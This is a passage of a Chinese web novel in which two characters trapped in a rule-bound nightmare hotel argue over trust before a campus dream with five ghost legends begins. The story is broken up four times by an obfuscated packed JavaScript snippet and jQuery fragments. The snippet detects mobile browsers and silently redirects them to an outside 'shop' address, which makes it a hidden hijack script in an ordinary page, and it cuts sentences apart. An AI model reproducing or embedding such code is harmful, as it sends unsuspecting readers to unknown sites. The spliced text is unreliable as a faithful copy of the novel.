“没兴趣。”吴樊祐简短地回答。 俞小澄作出一副了然于心的模样,点头嗤笑:“也对,人命在你眼中好像根本不算什么。” “学姐不用每句话都点我吧……”吴樊祐有些气闷。 只要吴樊祐不高兴,俞小澄就觉得心情舒畅起来,笑着坐回床上。 “你当真一点都不记得自己以前做过什么缺德事了吗?不如老实交代吧,反正你我都离不开这里,你不用担心我到处爆料。” “能别说得好像我做过什么伤天害理的事一样吗?我真的什么也没做,跟学姐一样。”吴樊祐声音透着些疲倦感。 “好吧,就当你跟我一样忘了自己的罪行吧。”俞小澄半信半疑。 就算吴樊祐故意隐瞒不说,也没关系,如果是以前,她或许还会在意吴樊祐有意隐瞒,现在她只要知道他有罪就行。 她要让他留在这里好好赎罪。 “学姐,我是说如果,如果还有机会离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543839|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开这里,你是不是真的不会原谅我了?”吴樊祐突然一本正经地问。 俞小澄也严肃地看着吴樊祐的眼睛,无比肯定地对他说:“想都别想,我说过,永远不会让你离开这里!或者,你可以耍手段杀掉我,只要我还活着,你就不可能离开这里。” “学姐……等出去了,我真的可以解释一切……”吴樊祐有种自讨没趣撞了一鼻子灰的挫败感,近乎乞求地说道。 俞小澄笑嘻嘻地回道:“你是觉得我很蠢吗?真出去了,我还能找得到你吗?如果你现在解释,或许我还有耐心听上一听。” 下一刻,吴樊祐又沉默了,像极了谎言不管用后束手无策的表现。 “果然都是说得好听。”俞小澄冷笑一声,寻了个舒服的姿势躺好,不打算再搭理吴樊祐。 原本渐渐有了睡意,进入半梦半醒的状态,忽然传来一阵敲门声,听上去十分急切,并伴随着女子的呼喊声。 俞小澄一个激灵惊醒,迅速翻身下床,难以抑制狂跳的心,战战兢兢走向了房门。 门外的声音她一时分不清是谁,说的话也颠三倒四,很难听出究竟说了什么东西。俞小澄没敢出声回应,而是轻手轻脚到了门边,透过猫眼往外看去。 微胖女人那张大脸出现在猫眼里,脸上露出惊恐的神情,不时往电梯的方向望去,一边敲门一边喊着救命。 “来了……有怪物!救我,开门啊,它们要来了!” 俞小澄艰难地分辨着微胖女人说的话,看样子她似乎是看到了什么恐怖的东西,所以才来敲门救助。 俞小澄疑惑不解,想要开门看看这女人究竟看见了什么东西,可手刚搭上门把手,一只大手便仅仅将她的手包裹住。 俞小澄一惊,抬眼发现吴樊祐不知何时出现在自己身后,表情严峻,另一只手的手指抵在唇边,做了个噤声的手势。 房外传来一阵脚步声,透过猫眼可以看见微胖女人跑向了其他房间,重复着敲门求助的行为。 不过微胖女人很快就离开猫眼可视范围,俞小澄只能听见逐渐微弱的声音。 不多时,屋外传来微胖女人的惨叫声,那声音十分瘆人,吓得俞小澄浑身一颤,可猫眼里看不到究竟发生了何事。 俞小澄想拧动门把手,吴樊祐的手却稳稳阻碍着她的行动,她扭头抬眼瞪着吴樊祐,眼神凶狠,似在质问。 吴樊祐没有说话,只是用指尖轻轻点了点俞小澄的手表。 趁着吴樊祐的手卸力,俞小澄迅速将手抽回,看了看手表,原来时间已经过了十一点。 俞小澄更觉奇怪,为何微胖女人会在这个时间外出,并且还挨个敲门求助,她干嘛不回自己的房间呢? 正在思考时,吴樊祐一把扣住俞小澄的手腕,将人往房里拽。 “你又干嘛?”俞小澄气恼地挣扎。 吴樊祐不由分说地将人抱起扔回床上,那绝对悬殊的力量让俞小澄一阵心慌,见吴樊祐靠近,抬手就想赏他一耳光。 然而狠狠挥出的手并未落在吴樊祐的脸上,而被吴樊祐单手稳稳地截停,在相互作用力下,震得她手腕生疼,不自觉蹙着眉叫出了声。 153. 大胆 或许是俞小澄的这声闷哼,让吴樊祐意识到下手有些没轻没重了,他急忙用指腹揉了揉俞小澄的手腕,声音多了一分歉意。 “对不起,学姐,我没想弄疼你。” 俞小澄咬牙切齿地打落吴樊祐的手,坐直了身子,查看着手腕上的红印,一边生着闷气,一边揉着手腕。 见俞小澄不吱声,吴樊祐抓耳挠腮地退回自己床边,尴尬地解释:“我是怕学姐光顾着看戏,忘了午夜零点前必须入睡的规则。” “你不会用嘴说?”俞小澄厉声质问,“还是说,你就是想展示自己的力量,以此威胁?” 她本想听吴樊祐反驳,可吴樊祐偏偏点了点头,一脸认真回答:“的确有这层考虑,不过不是威胁,只是想向学姐证明,如果我真想害你,不用搞那些见不得人的小把戏。” “用这么冠冕堂皇的理由装饰自己的龌龊行为,你还真是独一份!”俞小澄阴阳怪气地骂道。 吴樊祐又一次沉默不语,似乎并不打算再为自己的行为做出更合理的解释。 他这说话永远只说一半,害人不得不胡乱猜想的性子,很是让俞小澄憋闷,不由得紧蹙眉头,道:“你刚才只要不阻止我,不也能达到你在梦境中的目的,你又何必多此一举?” 吴樊祐忽然态度坚决:“不一样!学姐,梦境里与旅店不一样,旅店的规则绝不能违反!” 或许是因为太过激动,吴樊祐忽然站起身,走近到俞小澄跟前,一脸严肃地俯视着俞小澄,气势过于压迫,令俞小澄本能地后仰。 “太近了!”她用手指戳着吴樊祐的腹部,将人推回床边,用手掩饰着自己微红的耳垂,“理由是什么?” “说不了……但绝对不行。”吴樊祐的话又不带解释成分。 俞小澄将眼睛眯成一条线,斜眼看着吴樊祐,思索片刻,问:“你不会是旅店管理方派来的卧底吧?” 一切似乎说得通,这也能解释为何俞小澄总觉得他跟开了挂一样,总能未卜先知。 “卧底?” 吴樊祐忍俊不禁,依然没有给出明确的回答,反而问俞小澄,“理由呢?” 俞小澄大胆猜测道:“公司给你的KPI,要你害死所有住客?” “又是什么猎奇设定……” 这一句话将吴樊祐击倒,他看似疲倦地仰躺在床上,“所以我是在消极怠工吗?在学姐眼里,有多少人是被我害死的?有没有一种可能,我对陌生人并无兴趣?” 俞小澄很认真地将他的话咀嚼了一番。 其实算起来,也就昨晚那场梦境,吴樊祐将所有人留在自习室,导致包含白羽楠在内的三名住客丧生,其他住客的死,看上去都不是他造成的。 至于吴樊祐为何突然针对起住客,吴樊祐不肯说,她也猜不出来,可从他说的话中,俞小澄隐隐有种直觉——他的目标不是所有住客。 “所以,你的目标是我?公司给你的任务是干掉我吗?”俞小澄仿佛摸到了一点模糊不清的影子,可那影子的真面目是什么,她暂时还看不透。 从什么时候开始的呢? 刚进入穷途旅店时,俞小澄感觉吴樊祐一直在帮自己,可细想之下,他的行为的确怪异。 多次被发现摸鱼。 捉迷藏梦境中,偷懒玩游戏;修仙梦境里,找个山洞,采购物资,学熊准备“冬眠”;游乐园梦境时,一刻不停的摆烂和捣乱,最后还跟她讨价还价;考场梦境中,不合时宜的睡觉…… 总能刚刚好选中陷阱。 这一点在游乐园梦境中尤为明显,次次选中禁忌数字,很难不让人起疑。 其次是考场梦境中,仿佛丢了平日的谨慎小心,怂恿她去拿餐食,还有绘画考试时,随意一指,将她送入了画中陷阱。 还有猝不及防的背弃。 一次是在游乐园里,鬼屋前最后的名额,吴樊祐毅然离她而去。 另一次便是在自习室,明明有三张请假条,他却只写了自己的名字。 仔细一想,原来他表现得如此明显,俞小澄竟然跟个傻子一样,被他耍得团团转。 原来他一开始的目标就是俞小澄。 可是有一场梦境,吴樊祐似乎意外地没有使绊子,那就是剧本杀梦境。 在那一场梦境中,吴樊祐全程主导着游戏的进程,并竭力保护他们的团队,甚至不惜成为凶手,只为更早结束梦境。 可那场梦境后,他好像又变回了原来的吴樊祐,原来那个总想引诱俞小澄走入陷阱的吴樊祐。 难道他人格分裂? 又或者,有什么改变了他的思维模式? 俞小澄眉头紧锁,努力在脑海中搜索着相关的蛛丝马迹。 忽然,一根手指点在了她的眉心,她从恍惚中回过神,不知何时,吴樊祐已经站到了她身边,正俯下身,疑惑地看着俞小澄。 他似乎见俞小澄想东西出了神,叫了几声都没反应,这才起身查看情况。 “学姐脑子里都装了些什么?”吴樊祐轻叹一口气,“我就一定得是公司派来的卧底?我就不能以个人身份参与其中吗?就这么急切将我打入反派团队?” 对于俞小澄的猜测,他好像并不满意,甚至有些委屈。 若放在以前,俞小澄定然先认错,反思自己是否太敏感,错怪了好人,可现在,她只会觉得吴樊祐在演戏。 俞小澄一脸嫌弃地挥了挥手,命令吴樊祐坐回原处,然后带着些审问的口气,问:“你是想说,你跟穷途旅店没有关系?” 迎接她审问的是一阵莫名其妙的沉默,其蕴含的答案似乎不言而喻。 “行吧,懂了,那你私人有什么目的?”俞小澄改问道。 这次吴樊祐没有选择沉默,坦诚道:“我说过的,我只想让学姐离开这里。” 这话题似乎进入了某种死循环。 若说他的行为根本和帮俞小澄离开旅店没有半毛钱关系,他便会陷入沉默;可如果问他为什么想让俞小澄离开旅店,他就会直白回答:“因为喜欢你。” 眼看从吴樊祐这个老六嘴里再套不出任何有用信息,俞小澄只得放弃。 俞小澄敷衍地回应:“知道了,知道了,谢谢你喜欢我,我也很喜欢我自己。” 随后,便不管吴樊祐有多郁闷,直接倒头就睡。 不过,吴樊祐的一句话,倒是让俞小澄想通了一件事,之前她还在思考,为何吴樊祐在剧本杀梦境时行为模式改变,如今似乎有了点思路。 其实确切来说,吴樊祐的改变不是在剧本杀梦境当晚,而是前一夜的游乐园梦境。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552382|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时吴樊祐单方面跟她有个约定,说要陪她走到最后,直至将联盟中的几人全部送走。 那时的俞小澄其实并没有完全理解他说这句话时的用意,如今想来,在那以后,吴樊祐便没有在游戏环节消极怠工或故意使绊子。 直到,在剧本杀梦境中吞噬了何管家,俞小澄看到了何管家的记忆,对住客有罪的印象愈发深刻,加上接二连三地发现,进入记忆之门的人,全都未能通过验证,并沦为恶灵,俞小澄萌生了留在旅店的想法。 也就是从她向白羽楠和吴樊祐表达了留在旅店的意愿后,吴樊祐的行事风格就又回到了之前的状态。 “所以,他的目的真的是想让我离开?” 俞小澄心中思索,满腹疑惑,如果真想她离开,又怎会故意从中作梗,想方设法让她陷入恶灵的陷阱呢? 如何考虑,也找不到合理的解释。 她忽然觉得,比起收集十枚金币改变房型,现下更重要的是让前台客服解答她心中的疑惑,再者一两枚金币肯定比十枚金币好找得多。 于是,俞小澄在入睡前,已经在脑子里规划急需解答的问题,并计算需要用到几枚金币。 首先,验证一下吴樊祐的身份问题。 其次,确认死亡跟离开旅店是否有关联。 然后,迄今为止有人离开过旅店吗? 最后,如果恶灵全被消灭,旅店是否还存在? 稍稍发散思维了一下,疑问立马填满了大脑。 忽然想起今日新住客的咨询,苦主这个点其实俞小澄挺在意的。 如果前台客服能够告诉每个人苦主是谁,是不是有可能帮助住客拾起丢失的回忆呢? 仿佛莫名开辟了一条捷径,无需费劲地在梦境中寻找记忆之门或遗失的记忆,直接在梦境外完成任务目标,按道理来说,这个方案可行。 只是前提得确认客服的态度。 “不对,不对,怎么又思考起离开的办法了?俞小澄,你真是猪脑子!” 俞小澄在心里暗暗骂了一句,然后回到最初的思路。 总之先围绕吴樊祐这个老六展开调查,说不定能解答她的疑惑。 一想到还得为吴樊祐的破事设法赚金币,俞小澄就觉得一阵心梗,于是没好气地冲旁边喊了声:“吴樊祐,睡了没?” “我在。” 吴樊祐回答得很迅速,就像随时等待老师抽查的好学生一般,急于表现。 俞小澄便不客气地威胁道:“你没事做就多做金币任务,若让我发现你又偷懒,我直接让进宝将你连皮带骨一口吞掉。” 吴樊祐方才还一脸期待俞小澄有什么要紧话想说,此刻跟个漏了气的气球一样,刚才如何坐起身,现在就如何躺回去,闷声嘀咕: “我是什么廉价劳动力吗……” “不,廉价劳动力,我还得付报酬,你嘛,顶多算犯人,劳动改造。”俞小澄冷言冷语,“作为学姐,我且有一言相劝,千万别试探我的底线。” 吴樊祐一时没了回应,俞小澄不知他是否又在暗中盘算,不过并不重要,在她意识到自己已经没什么可失去的时候,最坏不过一个鱼死网破。 这么想着,俞小澄伸手捏了捏兜里的陶瓷娃娃,闭眼迎接一场新的噩梦。 154. 梦境(六) 有人轻轻拍了拍俞小澄的后背,俞小澄猛然惊醒,发现自己正趴在桌上,四周的环境也无比陌生。 女教师此时正站在她身旁,似乎被她猛然睁眼吓了一跳,一脸诧异地望着她,而吴樊祐和纹身男跟她一样,伏在不远处相邻两张桌上睡觉。 “刚认识不到一天,就梦见连名字都不知道的人,还真是少见。”女教师双手拍了拍脸颊,嘴里自言自语。 俞小澄没回应,而是仔细地观察起周围环境。 这是一间不算太宽的房间,实木桌两两相对并在一起,分列在房间两侧,看房间装修和陈设风格,似乎是一间拥有八人工位的办公室。 玻璃窗外天已大亮,俞小澄下意识地看了一眼手腕,表上时间刚过9点。 就在女教师独自在房中转悠一圈,嘀嘀咕咕着打算出门时,一个打扮干练,头发盘在后脑勺的中年女人推门而入,看见有人伏在桌上睡大觉,脸色有些难堪,走上前,指节用力在桌面上敲了敲。 被这一阵响声吵醒,吴樊祐和纹身男皆是揉着眼观察起周围情况。 “各位老师,我们不是来玩的,这是学校安排的暑期任务,请大家有点紧迫性,不调查出结果可不许回家。”干练女人焦急地说道。 原来又是学校…… 俞小澄心中渐渐有了梦境的雏形,昨晚刚当过考生,今晚又当老师,她只觉这些恶灵毫无新意,跟校园没完了。 “不是吧……怎么做梦还要工作啊……” 女教师凄婉的抱怨声传来,引得纹身男忍不住向她投去不解的眼神。 纹身男有些不确定,站起身活动了一下手脚,脸上表情愈发惊讶起来。 “那个……我们这是在哪里?我怎么记得我们是在穷途旅店的客房里,怎么突然到这里来了……” 听他这么一说,原本以为自己在做梦的女教师瞬间瞪大眼,仿佛对方的话实在难以消化,可细想之下,也渐渐意识到不对劲。 女教师:“难道不是在做梦?” 纹身男:“做梦不可能这么真实吧……我梦里的你怎么会以为自己在做梦,还有意识跟我互动……” 下一刻,他们一致认为是在熟睡时,又被什么人绑到了这个奇怪的地方。 干练女人一直茫然地注视着这两人的互动,只当这两人在说胡话,然后故意咳嗽一声打断道:“没用的话放到以后再说,当务之急是赶紧解决校园五大怪谈,现在学校里传得沸沸扬扬,若不及时处理,恐会影响本校名声。” 吴樊祐忽然举起手来,笑脸相问:“对不住,您是?” 干练女人冷眼扫过吴樊祐,那眼神仿佛在骂吴樊祐无知,沉默片刻才不情不愿地自报家门:“我看你睡觉睡糊涂了,我是教务处长,大家都叫我杨姐。” 吴樊祐随即热情道:“哦,杨处,瞧我这记性,不过说起来,学校怪谈,怎么让老师来调查,是不是有点专业不对口啊?” 女教师和纹身男被这二人的谈话吸引,暂时放下了对身处何地这一问题的讨论,闭上嘴,侧耳倾听。 “都是无稽之谈,身为老师,怎么可以搞封建迷信?我看肯定有人恶意造谣!我想啊,趁着暑假,大多数学生离校,我们彻底调查一番,若能证明所有怪谈都是无中生有的事,不就可以让别有用心的人彻底闭嘴了吗?” 杨处长头头是道地描述着愿景。 吴樊祐又问:“万一调查出来,真有其事呢?” 他这话简直是犯了杨处长的大忌,对方立刻黑着脸,来势汹汹地数落道:“你这想法很危险啊!怎么可能是真的呢?我们要相信科学!” 吴樊祐一边假装顺从,虚心接受领导批评,一边强忍笑意,尽力不去吐槽这里NPC所谓的科学。 “杨姐,校园五大怪谈,具体是什么?”俞小澄打断道。 她没兴趣在这儿跟NPC浪费时间,雏菊梦境只有三日,如果可以,她希望能尽快深入梦境核心,进而找到赚取金币的方式。 杨处长总算被拉回了正题,可开口又是一阵抱怨:“哎呀,你们平时除了上课也多关心关心学校舆情嘛,这都传了多久了?居然还有人不知道,真是不让我省心。” 俞小澄感觉都要被她念叨得失去耐心了,她才一本正经地开始介绍起有关校园五大怪谈的故事。 这五大怪谈分别是通往地府的图书馆、水鬼出没的游泳馆、分手诅咒的吟晖湖、死亡重播的第五教学楼和阴魂不散的男生宿舍。 光是听名字,俞小澄已经开始感慨:这学校是有多不吉利啊? 能传出这种节奏的怪谈,感觉不出几条人命,怕是很难做到。可若真如此,哪里还轮得到派老师调查,警察直接就封锁校园了。 不过,这里终究是梦境世界,不能用常理来判断,毕竟这个世界正常与否,完全取决于恶灵的精神状态。 怪谈一,通往地府的图书馆。 传说此学校图书馆位于阴阳交界处,从午夜到正午前,图书馆内某处连通地府,阴盛阳衰,若此时在图书馆内逗留,可能会被鬼差误认作死人,抓进地府关起来。 因此,在正午十二点前,万不可在图书馆逗留。 怪谈二,水鬼出没的游泳馆。 听闻学校游泳馆里住着一只水鬼,每当太阳下山,就会在馆内现身捣乱,如果有人在此时下水游泳,就会被水鬼盯上,命丧黄泉。 怪谈三,分手诅咒的吟晖湖。 据说学校内的吟晖湖本是情侣约会圣地,可不知何时起,学校流传着一则诅咒——迎着夕阳牵手走过湖边长廊的情侣必定分手。 而这里所说的分手,是物理意义上的分手,两人的手会被莫名斩断。 怪谈四,死亡重播的第五教学楼。 有传言,当夜幕降临时,绝不能在第五教学楼601教室停留,否则你会看到有人自楼顶坠下,这画面会反复出现,仿佛电影片段重播一般。 若你不小心看了三遍,等到第四遍时,你就会成为那个坠楼的人。 怪谈五,阴魂不散的男生宿舍。 故事发生在西苑男生宿舍楼,每晚11点熄灯后,楼里的学生会听到走廊上传来脚步声,来来回回走个不停,并且还伴随女子哼歌声。 如果这个时候你忍不住好奇心,开门看上一眼,就会被女鬼吸走魂魄,从此变成一具没有灵魂的行尸走肉。 杨处长讲得口干舌燥,才总算将这五大怪谈挨个讲完,然后拿着水杯给自己接了杯水润润嗓子,才接着说下去:“总之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565249|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们四个可以分头调查一则怪谈,等把调查结果报给我后,才可离开学校,只有三天时间,各位老师加油!” 说罢,杨处长做了个加油打气的动作,一副任务交代完毕准备开溜的姿态。 女教师赶紧拦了上去,笑着询问:“我可以现在就给结果然后回家吗?” 杨处长上下打量着女教师,眼神中充满怀疑:“还没调查你就知道结果了?” 女教师自信答道:“虽然没调查,但以我多年任教经验,多少可以分析出传这些谣言的学生心理。” 杨处长一副饶有兴致的表情,点头示意女教师继续说下去。 女教师清了清嗓,说:“首先图书馆的怪谈,大概率是某些学生为了减少占位竞争对手,故意散布的鬼故事。” “何以见得?”杨处长问。 女教师慢条斯理地回答:“其实从时间设定在正午十二点前,就足见虚假,要说阴气盛,好歹说是天亮前还可信些,十二点前,恐怕是某些学生又爱睡懒觉,又放不下图书馆的座位吧。” 杨处长连连点头,对女教师大佳赞赏,片刻后又追问道:“那学生失踪该如何解释呢?你再替我好好想想。” “等、等等,学生失踪?”女教师当场愣住了。 怪谈这种东西,很多时候并非真实存在,女教师觉得大抵是以讹传讹的产物,所以从未想过会有人在怪谈中遇害。 杨处长先前没说,女教师便先入为主地默认了。 杨处长点头如捣蒜,道:“对啊,所以我才希望你们能调查出结果,只要有了合理解释,相信怪谈就不会再有人惦记了。” “喂……都有人失踪了,还管什么怪谈不怪谈,不是应该报警吗?”纹身男忍不住打断。 然而杨处长就跟没听到似的,继续问女教师:“那另外四则怪谈,你觉得真相如何?” 女教师似乎被杨处长的态度吓了一跳,眼神中闪烁着惊恐的光,或许在她眼里,杨处长是个不折不扣的疯子,因此下意识地往后退了两步,强装镇定说道: “不管是游泳池、湖边长廊,还是教学楼,都是有人想在特定时间独享,才会编出骗人的鬼故事吧……” 嘴上虽这么说,可因为方才杨处长的话,女教师心中明显没那么笃定了,她说罢又弱弱地追问一句:“这几个地方不会也有人失踪吧?” “哪儿有那么多失踪的人,我校又不是什么神隐之地,不至于,不至于!”杨处长矢口否认,语气十分强硬。 女教师瞬间松了一口气,抚着胸口叹道:“我就说嘛,可能失踪只是恶作剧,逃学新手段?至于男生宿舍,恐怕是把巡视的宿管阿姨当女鬼了吧。” 女教师为自己轻松解决了难题而欣慰,期待着杨处长能满意她的解释,然后放众人离开。 杨处长也的确如她所想,对于她给出的答案十分满意,并表示打算采用她的解释上报。 可不等女教师高兴,杨处长又带着一脸高深莫测的笑,说:“怪谈的谜底就算解开了,不过学生失踪、溺亡、断手、坠楼和失去意识的事,你们再努力查一查,最好能有个让人挑不出学校毛病的解释。” 说罢,杨处长拍了拍女教师的肩,带着阴森的笑,离开了房间。 155. 梦境(六) 等到杨处长走远了,女教师和纹身男也没回过神来,无不是震惊于杨处长话中的疯狂。 现实中怎么可能会有地方这么轻松地谈论学生的失踪、受伤和死亡,甚至还想找借口将其掩盖,甚至还与怪谈扯上关系,这怎么看都不正常。 这二人不由得开始怀疑起来自己还在做梦,所以才会如此脱离现实,可明明是做梦,为何自己又无法控制自己醒来呢? “既然如此,我们分两组调查如何?”俞小澄直接打断了二人的纠结,她不想多浪费时间在解释梦境这件事上,他们能不能活,她并不关心,此时只想寻找金币任务。 “分组?”女教师有些犹豫,“一般在恐怖故事里,落单便意味着出事……或许我们还是一起行动好些。” 女教师的直觉让俞小澄嘴角抽搐起来,不过再想一想,一起行动也不全是坏事,万一在分开后,这两人迅速违反梦境规则,一人出局,俞小澄恐怕还没找到金币任务,梦境就结束了。 这样一想,俞小澄假装友善地点点头,道了声好。 女教师和纹身男在茫然无措中出了门,俞小澄与吴樊祐跟在身后。 要调查这五则怪谈,他们只能到现场探查情况,如今时间尚早,也就图书馆这一处正值怪谈发生的时间段,于是简单商议后,一行人往图书馆前进。 如杨处长所言,此时正是暑假期间,留校学生很少,校园内看上去颇为冷清。 他们好不容易才在路上遇到一个学生,向其打听了前往图书馆的方向,并从那学生口中,知道了些关于图书馆怪谈的真实消息。 曾有不少人抱着测试怪谈真伪的猎奇心理,特意选在午前前往,可偏偏有那么几个人,自进入图书馆后便失去影踪,再未在校内出现过。 这件事在学校中闹得沸沸扬扬,学生们再不敢在午前靠近图书馆,可校方的态度很是敷衍,认定这是有人故意装神弄鬼,只为破坏学校的声誉,并劝告学生不要当真。 至于为何会有人失踪,校方却始终拿不出合理解释,只道会趁着暑假谨慎调查,争取在下学期开学时,给全校学生一个交代。 “喔……真的不用报警吗……”纹身男一脸的难以理解。 女教师则一脸严肃地问那学生:“请问,这是哪家学校?” 那学生一脸狐疑地望着女教师,看上去一副想要质疑又不敢质疑的模样,毕竟对方是老师,出言冲撞没有好处,于是他犹豫片刻,终是恭敬地回道:“参商大学。” 女教师回头看了看其余三人,面上露出欣喜之色,说:“原来我们在参商大学,这大学我知道,以前有次交流会,我还去过喃。” 看她那样子,大概率是觉得找到了方向,所以心中喜悦溢于言表。 俞小澄只是安静地听着,没有给予任何反馈。 纹身男疑惑地问道:“这大学在哪里?” “云汉市……”女教师话音刚落,立即陷入了迷惘,“我怎么跑到这么远的城市来了……” 纹身男的反应与女教师一样,显然他现实中所处城市也距离云汉市很远,随即他的视线落在了俞小澄和吴樊祐身上,似乎是在询问二人所在城市。 “久昌。”吴樊祐淡然回道,然后饶有兴致地等待着二人作出反应。 这二人果然没让他失望,立马意识到他们四人来自天南地北,失去来时的记忆,莫名聚集到了陌生的地方。 这怎么看都有些不现实,如果不是现实,那么意味着,就算知道身处何地,他们可能也不能回到自己原本应该存在的城市。 有太多的想法在脑海中撞击,却始终没有一个确切的答案让两人冷静下来。 看他们焦躁不安,完全失去了方向的模样,想要推进主线任务的俞小澄终于忍不住,说:“有没有一种可能,我们在旅店客房,进入了相同的梦境?” 这样的说话听上去有些荒诞,可凭借着睡前的记忆,再思考此时正发生的超出常理的怪事,直觉告诉他们,这样的解释似乎更加合理。 就在他们纠结之时,那学生不好意思地打断道:“虽然听不懂老师们在讲啥,但我有个不情之请,如果可以,请帮我在图书馆里拍张照片,我想向朋友证明,图书馆真的连通地府大门!” 那学生一脸兴奋地递上自己的手机,并自报姓名叫王骏,要找他可以到西苑男生宿舍楼307。 说完这些话,那学生不带一丝犹豫地跑开了。 纹身男看着学生远去的背影,面色凝重地说:“王骏,西苑男生宿舍楼,看来我们还会与他见面。” 俞小澄则看着被塞进女教师手里的手机,附和道:“嗯,看来是得再见。” 话虽相同,可想法各异,纹身男注意到的是男生宿舍的怪谈,而俞小澄在意的是刚到手的金币任务。 这显然是NPC发布了支线任务,俞小澄很想将手机抢过来,可此刻女教师正拿着手机一顿研究,一会儿诧异于这种手机直接扔给陌生人的“松弛感”,一会儿惊讶地发现手机竟然还没有设置锁屏密码。 “果然是做梦啊。”女教师一边感慨,一边为了验证自己的想法,拨打了报警电话。 然后手机里传来一阵忙音,报警果然行不通,这下不得不相信,这里绝非现实。 “也许,我们是穿进了什么游戏之中,需要完成主线任务,才能逃出去。”纹身男给出了假设。 俞小澄一听,感觉这二人似乎有相当强的适应能力,对于梦境的猜测也八九不离十,省得她过于费心。 如此一合计,一行人赶紧根据王骏的指引,来到了学校图书馆。 上午阳光正好,因为正值暑假,校园中学生本就少得可怜,加上关于图书馆的怪谈影响,图书馆里冷清得如同荒废了很久一般。 四人停在大门前,看着稍显阴森的图书馆,一时有些踌躇不前。 “我们一起进去?”女教师征询着其他三人意见。 俞小澄立刻摇了摇头,假装胆小地说道:“我害怕,万一真有鬼差把我抓走怎么办?” 女教师并不强求,转头望向吴樊祐。 吴樊祐学着俞小澄的样子,厚着脸皮说:“我也害怕。” 这一次,女教师没有给他好脸色,立马切换成说教模式,语重心长地道:“你是男孩子,勇敢点!这世上没有鬼,我们要做坚定的唯物主义者!” 吴樊祐冷冷反驳:“你说的是现实,可这里不是。” 女教师被他说得一愣,当真认真思考起来,随后又转向纹身男,仿佛在寻找着统一战线的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573560|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹身男比较谨慎,不主张冒进,但也不打算坐以待毙,他偏向选择更稳妥的方式,比如说钓鱼。 按照纹身男的想法,他们需要验证的是在图书馆逗留会不会被鬼差抓进地府,那可以由他打头阵,找根长绳绑住自己,其余人在馆外拉住绳子,若真有所谓的鬼差绑人,要抓走他恐怕也得费些工夫。 俞小澄属实想劝这二人别进去,万一那五则怪谈就是隐藏规则,那进入图书馆是否算触犯了禁忌? 她虽还不敢肯定,可担心二人随便死一个,提前结束了梦境,害她拿不到金币,那就有些得不偿失了。 然而一直在装傻的她,此刻似乎找不到合适的理由劝告二人,她只好趁二人不注意,吩咐招财进图书馆查探一番。 招财将昏昏欲睡的进宝挂在俞小澄肩上,然后迅速穿过了玻璃门。 回过头,只见纹身男和女教师正商量着上哪儿去找绳子。 正在这时,寂静的图书馆里突然传来一阵急促的脚步声,声音越来越近,俞小澄循着声音望去,只见三个人影出现在视野里,惊慌地下了楼梯,向着门外跑来。 四人的视线跟随着那三个急促奔跑的人影,从图书馆内一直移到了图书馆外,然后看着两女一男因奔跑而泛红的脸,一直等到三人大口的喘息渐渐平稳,女教师才缓缓开口问道:“不是说午前不许进入图书馆吗?你们三个怎么回事?” 俞小澄感觉她一开口就是老师教训学生的口吻,兴许这就是职业病。 刚开始,那三个学生一脸的难为情,随后,其中一个样貌姣好,眉眼之间透着一股英气的女生大方回应:“老师好,我是学生会长梁复乐。” 然后又依次指了指身旁一男一女介绍道,“他是副会长陶然,还有我朋友罗覃,我们都想帮忙调查校园怪谈,所以才约好在这个时间一起进入图书馆。” “所以你们刚才在里面看到什么了?怎么跟见鬼了似的。”纹身男忙问道。 陶然看上去被吓得不轻,脸色有些泛白,感觉随时都会晕过去一样。 他声音有些颤抖地说道:“老师……里面真的有鬼……我们差点就被抓进地府了!” 纹身男和女教师相视一眼,对于这个答案将信将疑,视线转到另外两个女同学身上,她们不约而同点了点头。 接着梁复乐狠狠一巴掌拍在了陶然背上,拍得男生踉跄一下,只听梁复乐不悦地抱怨道:“陶然,刚才鬼差抓着我不放,你居然扭头就跑!要不是小覃咬了那鬼差一口,你小子是想换女朋友了是吧?” 梁复乐说着亮出左手腕,那上面还留着几道清晰的红手印。 